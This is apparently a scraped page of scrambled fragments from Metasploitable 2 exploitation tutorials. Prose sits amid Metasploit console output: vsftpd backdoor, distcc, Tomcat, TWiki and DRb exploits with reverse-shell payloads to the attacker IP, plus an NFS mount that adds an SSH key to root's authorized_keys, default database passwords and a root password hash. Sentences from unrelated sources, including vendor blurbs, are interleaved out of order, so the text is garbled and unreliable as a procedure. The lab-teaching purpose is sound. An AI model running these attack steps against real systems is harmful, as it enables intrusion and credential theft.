After the virtual machine boots, login to console with username msfadmin and password msfadmin. [*] Command shell session 2 opened (192.168.127.159:4444 -> 192.168.127.154:33383) at 2021-02-06 23:03:13 +0300 For further details beyond what is covered within this article, please check out the Metasploitable 2 Exploitability Guide. RHOST => 192.168.127.154 The purpose of this video is to create virtual networking environment to learn more about ethical hacking using Metasploit framework available in Kali Linux.. Eventually an exploit . To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: On port 21, Metasploitable2 runs vsftpd, a popular FTP server. 0 Automatic [*] Connected to 192.168.127.154:6667 In addition to these system-level accounts, the PostgreSQL service can be accessed with username postgres and password postgres, while the MySQL service is open to username root with an empty password. Distccd is the server of the distributed compiler for distcc. [*] B: "7Kx3j4QvoI7LOU5z\r\n" In Part 1 of this article we covered some examples of Service vulnerabilities, Server backdoors, and Web Application vulnerabilities. Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. [*] B: "D0Yvs2n6TnTUDmPF\r\n" Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. RHOSTS yes The target address range or CIDR identifier The next service we should look at is the Network File System (NFS). 0 Automatic [*] Reading from socket B msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. Name Current Setting Required Description There are a number of intentionally vulnerable web applications included with Metasploitable. This will provide us with a system to attack legally. [*] Writing to socket A 0 Generic (Java Payload) For example, noting that the version of PHP disclosed in the screenshot is version 5.2.4, it may be possible that the system is vulnerable to CVE-2012-1823 and CVE-2012-2311 which affected PHP before 5.3.12 and 5.4.x before 5.4.2. [*] B: "qcHh6jsH8rZghWdi\r\n" [-] Exploit failed: Errno::EINVAL Invalid argument The version range is somewhere between 3 and 4. msf exploit(tomcat_mgr_deploy) > show option Metasploitable Databases: Exploiting MySQL with Metasploit: Metasploitable/MySQL. Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). Setting the Security Level from 0 (completely insecure) through to 5 (secure). Step 3: Always True Scenario. CVE-2017-5231. [*] Reading from socket B This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. [*] Matching On Linux multiple commands can be run after each other using ; as a delimiter: These results are obtained using the following string in the form field: The above string breaks down into these commands being executed: The above demonstrates that havoc could be raised on the remote server by exploiting the above vulnerability. -- ---- Module options (exploit/unix/misc/distcc_exec): The command will return the configuration for eth0. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. Loading of any arbitrary file including operating system files. msf exploit(twiki_history) > set RHOST 192.168.127.154 What is Nessus? It could be used against both rmiregistry and rmid and many other (custom) RMI endpoints as it brings up a method in the RMI Distributed Garbage Collector that is available through any RMI endpoint. msf auxiliary(postgres_login) > run You can view CVE vulnerability details, exploits, references, metasploit modules, full list of vulnerable products and cvss score reports and vulnerability trends over time (e.g. 0 Automatic cmd/unix/interact normal Unix Command, Interact with Established Connection Leave blank for a random password. Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux, msf > use auxiliary/scanner/telnet/telnet_version SSLCert no Path to a custom SSL certificate (default is randomly generated) To access official Ubuntu documentation, please visit: Lets proceed with our exploitation. msf > use exploit/multi/misc/java_rmi_server Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. Metasploitable 2 Among security researchers, Metasploitable 2 is the most commonly exploited online application. Associated Malware: FINSPY, LATENTBOT, Dridex. Name Current Setting Required Description PASSWORD no A specific password to authenticate with -- ---- Step 6: Display Database Name. [*] Command: echo 7Kx3j4QvoI7LOU5z; Metasploitable 2 is a deliberately vulnerable Linux installation. [*] Started reverse handler on 192.168.127.159:4444 Name Current Setting Required Description Module options (exploit/unix/webapp/twiki_history): Once the VM is available on your desktop, open the device, and run it with VMWare Player. [*] Started reverse handler on 192.168.127.159:8888 Payload options (cmd/unix/interact): It is freely available and can be extended individually, which makes it very versatile and flexible. Server version: 5.0.51a-3ubuntu5 (Ubuntu). msf exploit(twiki_history) > set payload cmd/unix/reverse In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. On Metasploitable 2, there are many other vulnerabilities open to exploit. You could log on without a password on this machine. Select Metasploitable VM as a target victim from this list. Description. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Your identification has been saved in /root/.ssh/id_rsa. -- ---- I thought about closing ports but i read it isn't possible without killing processes. Step 7: Bootup the Metasploitable2 machine and login using the default user name and Password: In this tutorial, we will walk through numerous ways to exploit Metasploitable 2, the popular vulnerable machine from Rapid7. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. These backdoors can be used to gain access to the OS. [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war msf auxiliary(telnet_version) > show options [+] UID: uid=0(root) gid=0(root) SRVPORT 8080 yes The local port to listen on. [*] Banner: 220 (vsFTPd 2.3.4) This virtual machine is compatible with VMWare, VirtualBox, and other common virtualization platforms. [*] Sending backdoor command Id Name This must be an address on the local machine or 0.0.0.0 Exploit target: Before we perform further enumeration, let us see whether these credentials we acquired can help us in gaining access to the remote system. Exploit target: A malicious backdoor that was introduced to the VSFTPD download archive is exploited by this module. msf exploit(drb_remote_codeexec) > show options Depending on the order in which guest operating systems are started, the IP address of Metasploitable 2 will vary. whoami [*] Reading from sockets Both operating systems will be running as VMs within VirtualBox. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. payload => linux/x86/meterpreter/reverse_tcp Starting Nmap 6.46 (, msf > search vsftpd We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. Name Current Setting Required Description PASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_pass.txt no File containing passwords, one per line RHOST => 192.168.127.154 msf exploit(tomcat_mgr_deploy) > set payload java/meterpreter/reverse_tcp msf exploit(usermap_script) > set RPORT 445 USER_AS_PASS false no Try the username as the Password for all users Module options (exploit/unix/misc/distcc_exec): [*] A is input Copyright 2023 HackingLoops All Rights Reserved, nmap -p1-65535 -A 192.168.127.154 whoami [*] Started reverse handler on 192.168.127.159:4444 High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. msf exploit(distcc_exec) > set RHOST 192.168.127.154 Id Name Here are the outcomes. payload => java/meterpreter/reverse_tcp A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. [*] Reading from sockets USERNAME no The username to authenticate as They are input on the add to your blog page. :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. Mutillidae has numerous different types of web application vulnerabilities to discover and with varying levels of difficulty to learn from and challenge budding Pentesters. [*] Writing to socket A RHOSTS => 192.168.127.154 Exploit target: Id Name Payload options (cmd/unix/reverse): Learn Ethical Hacking and Penetration Testing Online. So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. Proxies no Use a proxy chain Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. msf auxiliary(tomcat_administration) > set RHOSTS 192.168.127.154 When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. msf auxiliary(postgres_login) > set STOP_ON_SUCCESS true RPORT 3632 yes The target port Target the IP address you found previously, and scan all ports (0-65535). The easiest way to get a target machine is to use Metasploitable 2, which is an intentionally vulnerable Ubuntu Linux virtual machine that is designed for testing common vulnerabilities. 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